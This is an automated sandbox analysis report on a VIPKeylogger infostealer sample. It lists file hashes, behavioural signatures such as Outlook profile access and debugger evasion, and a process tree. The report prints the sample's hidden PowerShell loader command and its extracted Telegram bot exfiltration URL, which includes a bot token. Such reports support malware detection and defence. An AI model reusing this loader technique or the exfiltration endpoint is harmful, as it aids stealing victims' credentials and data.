Analysis
-
max time kernel
148s -
max time network
153s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
25-11-2024 02:49
Static task
static1
Behavioral task
behavioral1
Sample
a6ed79b31900fa2568d166b96514ecdd7f79a3cfeb3fe9a21d670ee4630bbf4f.exe
Resource
win7-20241010-en
Behavioral task
behavioral2
Sample
a6ed79b31900fa2568d166b96514ecdd7f79a3cfeb3fe9a21d670ee4630bbf4f.exe
Resource
win10v2004-20241007-en
General
-
Target
a6ed79b31900fa2568d166b96514ecdd7f79a3cfeb3fe9a21d670ee4630bbf4f.exe
-
Size
844KB
-
MD5
66ecc5207b13c8ab6e2289aae6fddde1
-
SHA1
9f6a9dec6a08fafd49908831ea27b0410b6bd934
-
SHA256
a6ed79b31900fa2568d166b96514ecdd7f79a3cfeb3fe9a21d670ee4630bbf4f
-
SHA512
80fded17f0ca1cf6c61600dadeaaf171de83de4276b11aefeda43f497a39c0f029af9284d604ae5d892cfb72eae6ad352ab4b07a40ac2eb7fc0270286974e6ae
-
SSDEEP
12288:8/AKvOjFE2PvzaAsXAxkdnJoAjXbQYi2yBZFVkh7aZMljR0lE/V5Je0sZptLOije:DoOGiwwxkBJoSr+zxU77jH5toptKigDf
Malware Config
Extracted
vipkeylogger
https://api.telegram.org/bot8065526741:AAEj68BwW3BsUStAxrPkDSB2kLxwQ3yik84/sendMessage?chat_id=6897585916
Signatures
-
VIPKeylogger
VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.
-
Vipkeylogger family
-
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 4920 powershell.exe -
Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 msiexec.exe Key opened \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 msiexec.exe Key opened \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 msiexec.exe -
Blocklisted process makes network request 8 IoCs
flow pid Process 33 3356 msiexec.exe 35 3356 msiexec.exe 37 3356 msiexec.exe 39 3356 msiexec.exe 42 3356 msiexec.exe 45 3356 msiexec.exe 47 3356 msiexec.exe 51 3356 msiexec.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
flow ioc 32 drive.google.com 33 drive.google.com -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 44 checkip.dyndns.org -
Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
pid Process 3356 msiexec.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
pid Process 4920 powershell.exe 3356 msiexec.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language msiexec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language a6ed79b31900fa2568d166b96514ecdd7f79a3cfeb3fe9a21d670ee4630bbf4f.exe -
Suspicious behavior: EnumeratesProcesses 9 IoCs
pid Process 4920 powershell.exe 4920 powershell.exe 4920 powershell.exe 4920 powershell.exe 4920 powershell.exe 4920 powershell.exe 4920 powershell.exe 3356 msiexec.exe 3356 msiexec.exe -
Suspicious behavior: MapViewOfSection 1 IoCs
pid Process 4920 powershell.exe -
Suspicious use of AdjustPrivilegeToken 23 IoCs
description pid Process Token: SeDebugPrivilege 4920 powershell.exe Token: SeIncreaseQuotaPrivilege 4920 powershell.exe Token: SeSecurityPrivilege 4920 powershell.exe Token: SeTakeOwnershipPrivilege 4920 powershell.exe Token: SeLoadDriverPrivilege 4920 powershell.exe Token: SeSystemProfilePrivilege 4920 powershell.exe Token: SeSystemtimePrivilege 4920 powershell.exe Token: SeProfSingleProcessPrivilege 4920 powershell.exe Token: SeIncBasePriorityPrivilege 4920 powershell.exe Token: SeCreatePagefilePrivilege 4920 powershell.exe Token: SeBackupPrivilege 4920 powershell.exe Token: SeRestorePrivilege 4920 powershell.exe Token: SeShutdownPrivilege 4920 powershell.exe Token: SeDebugPrivilege 4920 powershell.exe Token: SeSystemEnvironmentPrivilege 4920 powershell.exe Token: SeRemoteShutdownPrivilege 4920 powershell.exe Token: SeUndockPrivilege 4920 powershell.exe Token: SeManageVolumePrivilege 4920 powershell.exe Token: 33 4920 powershell.exe Token: 34 4920 powershell.exe Token: 35 4920 powershell.exe Token: 36 4920 powershell.exe Token: SeDebugPrivilege 3356 msiexec.exe -
Suspicious use of WriteProcessMemory 7 IoCs
description pid Process procid_target PID 1508 wrote to memory of 4920 1508 a6ed79b31900fa2568d166b96514ecdd7f79a3cfeb3fe9a21d670ee4630bbf4f.exe 83 PID 1508 wrote to memory of 4920 1508 a6ed79b31900fa2568d166b96514ecdd7f79a3cfeb3fe9a21d670ee4630bbf4f.exe 83 PID 1508 wrote to memory of 4920 1508 a6ed79b31900fa2568d166b96514ecdd7f79a3cfeb3fe9a21d670ee4630bbf4f.exe 83 PID 4920 wrote to memory of 3356 4920 powershell.exe 95 PID 4920 wrote to memory of 3356 4920 powershell.exe 95 PID 4920 wrote to memory of 3356 4920 powershell.exe 95 PID 4920 wrote to memory of 3356 4920 powershell.exe 95 -
outlook_office_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 msiexec.exe -
outlook_win_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 msiexec.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\a6ed79b31900fa2568d166b96514ecdd7f79a3cfeb3fe9a21d670ee4630bbf4f.exe"C:\Users\Admin\AppData\Local\Temp\a6ed79b31900fa2568d166b96514ecdd7f79a3cfeb3fe9a21d670ee4630bbf4f.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1508 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -windowstyle hidden "$Spaanens=gc -raw 'C:\Users\Admin\AppData\Local\faatallige\alternativet.Jug';$Prebrachial=$Spaanens.SubString(72910,3);.$Prebrachial($Spaanens) "2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4920 -
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\SysWOW64\msiexec.exe"3⤵
- Accesses Microsoft Outlook profiles
- Blocklisted process makes network request
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
PID:3356
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
347KB
MD54686941746f31ddfb36d1ebbb44e7ebf
SHA1cd3fd8c8ab8e38cc016991132d62b1bdc1fa687b
SHA25618692d5a318572028fa704053cb44bb255d351d61942a5fc0447d2ee1e37e7fd
SHA5127d9d7c43f05637bfbd783de0471e1a2f5a0832faca26f0f0f8a54bc80c1407ea88bf08a579ec18d6548ff937678a51ed852777d38223bd8c3f7881f424751fb1
-
Filesize
71KB
MD5d2e21a96d0e3214bdc85bf4ed9567574
SHA1e27596a46448f36aebf57d5a0e7e4ed5711be460
SHA2560f111bf0c2084dd34a25590ddf1254aae69060015f94addf112937e1d6807453
SHA512cc27da978ad0659de87a3cddc5c8e27bda7de9e3c17565339061870db4cd625586aefbd943ac443fc84165a501cf27958c0d92db92aa799e12bf1a29563bd00d